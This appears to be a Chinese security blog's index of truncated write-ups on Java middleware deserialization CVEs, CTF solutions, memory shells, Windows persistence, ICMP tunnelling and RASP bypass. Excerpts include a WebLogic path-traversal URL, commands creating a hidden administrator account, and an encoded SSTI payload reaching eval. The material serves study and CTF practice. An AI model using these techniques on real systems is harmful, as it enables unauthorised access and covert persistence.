JBoss反序列化漏洞
实战遇到了Jboss 反序列化,发现之前写的太烂了,重新梳理了一下
CVE-2017-7504
影响版本:JBoss AS 4.x及之前版本
下载地址:https://sourceforge.net/projects/jboss/files/JBoss/JBoss-4.2.3.GA
安装成功后需要修改jboss-4.2.3.GA/server/all/deploy/jboss-web.deployer/server.xml,设置远程访问
将目录jboss-4.2.3.GA/server/all/deploy-hasingleton/jms/jbossmq-httpil.sar/jbossmq-httpil.war/WEB-INF/classes/org打包
执行命令jar cvf jbossmq-httpil.jar ./org,然后导入即可
漏洞分析看到jboss-4.2.3.GA/server/all/deploy-hasingleton/jms/jbossmq-httpil.sar/jbossmq-httpil.war/WEB-INF/web.xml
存在一个 HTTPSer ...
0CTF/TCTF 2022 hessian-onlyJdk
好久没有学习新的ctf知识点了,复现一下近期出现的一个hessian-onlyJdk题目源码下载:https://github.com/waderwu/My-CTF-Challenges/tree/master/0ctf-2022/hessian-onlyJdk
看到环境只有hessian 4.0.38和openjdk 8u342,源码就是一个hessian2反序列化,相当于打jdk原生链
预期我们先来学习一下触发到toString()的利用,Apache Dubbo Hessian2 异常处理时反序列化(CVE-2021-43297)
CVE-2021-43297漏洞在com.caucho.hessian.io.Hessian2Input#expect()这里
可以看到有个readObject()的操作,接着就是一个String和对象的拼接,很明显会调用toString()并且发现在com.caucho.hessian.io.Hessian2Input#readString()中就有expect()的调用
需要default条件才会调用,我们只需要取default上面没有条件的ca ...
Weblogic未授权远程命令执行漏洞
CVE-2020-14882 允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883 允许后台任意用户通过 HTTP 协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个 GET 请求在远程 Weblogic 服务器上以未授权的任意用户身份执行命令
影响版本:
Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0
CVE-2020-14882在正常访问console后台时会提示输入帐号密码
但是可以使用url二次编码/console/images/%252e%252e/console.portal,通过这个就可以实现路径穿越,未授权访问管理后台
但是通过未授权访问的后台与正常登陆的后台相比,由于权限不足,缺少部署等功能,无法安装应用,所以也无法通过部署项目等方式直接获取权 ...
Weblogic反序列化漏洞
还是觉得得研究一下weblogic反序列化漏洞,只会用工具太脚本小子了,我们来看看weblogic是如何造成反序列化漏洞的
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中
在WebLogic里面反序列化漏洞利用大致分为两种,一个是基于T3协议的反序列化漏洞,一个是基于XML的反序列化漏洞
漏洞复现的环境搭建使用:https://github.com/QAX-A-Team/WeblogicEnvironment我这里选用的是jdk7u21和wls10.3.6版本
T3协议反序列化参考RoboTerh师傅的文章:https://tttang.com/user/RoboTerh
CVE-2015-4852影响版本:
Oracle WebLogic Server 10.3.6.0
Oracle W ...
Java Agent内存马学习
前言这里补充一下java agent内存马的学习,主要是之前笔试的时候有个spring boot命令执行不出网的利用,当时脑子抽了忘记可以使用agent内存马,当时说的是:Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索后来反应过来使用agent实现内存马更加简单实用,再加上之前只是知道没有深入学习,所以就有了写这么一篇文章的想法,顺便记录一下学习过程避免遗忘
基础知识在 jdk 1.5 之后引入了java.lang.instrument包,该包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,通过java.lang.instrument实现的工具我们称之为Java Agent,Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法
Java agent的使用方式有两种:
jvm方式:实现 premain方法,在JVM启动前加载
attach方式:实现 agentmain方法,在JVM启动后加载
premain和agentmain函数声明如下:
1234567891011 ...
权限维持
权限维持做了权限维持就如同特洛伊木马一样,可以直接进入内部进行攻击
当我们获得了administrator管理员权限后,需要创建一个后门来维持住我们所获得的权限,否则一旦目标密码更改或者漏洞被修补,那么就会导致我们对服务器权限的丢失
Windows权限维持内网渗透测试:域内权限维持思路总结域渗透 - 权限维持之 SID History
影子账户通常在拿到服务器后会创建一个带$符号的账户,因为在常规cmd下是无法查看到的
12net user hacker$ 123456 /addnet localgroup administrators hacker$ /add
但是在控制面板的账户管理界面能直接看到
接下来就是创建影子用户了打开注册表,找到HKEY_LOCAL_MACHINE\SAM\SAM,单机右建,选择”权限”,把Administrator用户的权限,设置成”完全控制”权限,然后关闭注册表编辑器,再次打开即可在HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names,看到我们的hacker$点击hacker$能在右侧看到类型 ...
内网穿透
内网穿透常用的隧道列举如下:
网络层:IPv6隧道、ICMP隧道、GRE隧道
传输层:TCP隧道、UDP隧道、常规端口转发
应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道
网络层隧道技术在一些条件下,如果攻击者使用各类隧道技术(HTTP,DNS,常规正反端口转发等)操作都失败了,常常会通过ping命令访问远程计算机,尝试进行ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(通常防火墙不会屏蔽ping数据包),实现不受限制的网络访问
icmpshhttps://github.com/inquisb/icmpsh使用icmpsh需要安装python的impacket类库,以便对于各种协议进行访问,安装Python-impacket库:
1apt-get install python-impacket
因为icmpsh工具要代替系统本身的ping命令的应答程序,所以需要输入如下命令来关闭本地系统的ICMP答应(如果要恢复系统答应,则设置为0),否则Shell的运行会不稳定.
1sysctl -w net.ipv4.icmp_ec ...
2022强网拟态web部分wp
就做出来四道web题,总体质量还行,tcl,pwn神太猛了
没有人比我更懂py直接使用8进制绕过字符
1{{()["\137\137\143\154\141\163\163\137\137"]["\137\137\142\141\163\145\137\137"]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[132]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\137\137\142\165\151\154\164\151\156\163\137\137"]["\145\166\141\154"]("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\ ...
RASP绕过初探
最近看完了赛博朋克边缘行者,我愿称之为年度最强番,扳机社太强了,塑造的02和lucy都很戳我《I Really Want to Stay At Your House》一响直接泪目了xd
RASP是Runtime application self-protection的缩写,中文翻译为应用程序运行时防护,其与WAF等传统安全防护措施的主要区别于其防护层级更加底层——在功能调用前或调用时能获取访问到当前方法的参数等信息,根据这些信息来判定是否安全
RASP与传统的基于流量监测的安全防护产品来说,优势点在于可以忽略各种绕过流量检测的攻击方式(如分段传输,编码等),只关注功能运行时的传参是否会产生安全威胁。简单来说,RASP不看过程,只看具体参数导致方法实现时是否会产生安全威胁。简单类比一下,RASP就相当于应用程序的主防,其判断是更加精准的。
OpenRASP官网地址:https://rasp.baidu.com/OpenRASP是该技术的开源实现,可以在不依赖请求特征的情况下,准确的识别代码注入、反序列化等应用异常,很好的弥补了传统设备防护滞后的问题
在 https://packag ...
Fastjson高版本的奇技淫巧
众所周知fastjson一般都是打JNDI的,这也是最常用的一种方法,但是高版本的话autoType默认为false,不支持,这里就需要通过一些其他的方法来rce了
在去年的黑帽大会上分享了fastjson1.2.68的几种利用链,今年看到浅蓝师傅关于fastjson1.2.80分享的议题,决定两个一起学习一下
BlackHat2021(fastjson 1.2.68)fastjson 1.2.68可以利用java.lang.AutoCloseable绕过checkAutotype
利用前提:
必须继承 AutoCloseable
必须具有默认构造函数或带符号的构造函数,否则无法正确实例化
不在黑名单中
可以引起 rce 、任意文件读写或其他高风险影响
gadget的依赖应该在原生jdk或者广泛使用的第三方库中
Mysql JDBC先配置一下mysql
12345<dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId& ...














